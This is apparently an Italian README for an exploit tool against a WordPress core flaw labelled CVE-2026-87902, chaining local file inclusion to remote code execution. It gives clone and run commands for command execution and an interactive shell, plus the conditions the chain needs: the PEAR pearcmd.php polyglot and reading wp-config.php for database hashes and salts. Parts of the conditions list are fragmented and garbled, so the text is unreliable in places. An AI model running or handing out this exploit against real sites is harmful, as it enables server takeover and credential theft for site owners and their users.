
Sfruttamento per sfruttare la vulnerabilità CVE-2026-87902 che si verifica nel core di WordPress
Exploit non autenticato (LFI → RCE) per WordPress 4.7.0 – 7.1.1 · fix: 7.1.2
git clone https://github.com/Maalfer/CVE-2026-87902-exploit.git
cd CVE-2026-87902-exploit
# 1) validare il LFI (non scrive nulla sul server)
python3 exploit.py --url http://obiettivo/ --validate-only
# 2) RCE
python3 exploit.py --url http://obiettivo/ -c "id"
# 3) console interattiva
python3 exploit.py --url http://objetivo/ -c id --shell
Tutte e quattro devono essere soddisfatte contemporaneamente. Se manca la 3, il LFI non esiste.
get_page_template(), senza validate_file(). In 7.1.2+ è corretto.page_id perché WordPress risolva il template (rilevato automaticamente via REST).page-* nel tema attivo — obbligatorio: file_exists() non attraversa un componente inesistente, quindi il ../ sale solo se il primo tratto esiste su disco. Twenty Twelve (page-templates/) lo include; la maggior parte dei temi block (Twenty Twenty-Three) no. Riguarda anche il tema padre.pearcmd.php leggibile + register_argc_argv=On — il LFI legge soltanto; l'esecuzione usa il polyglot config-create di PEAR. Con register_argc_argv=Off o senza PEAR installato, c'è LFI ma non RCE.Senza la 4ª il risultato è LFI puro: permette di leggere qualsiasi .php del sistema, per esempio page-templates/../../../wp-config.php (hash e salt del DB).
Solo per sistemi propri o con autorizzazione scritta.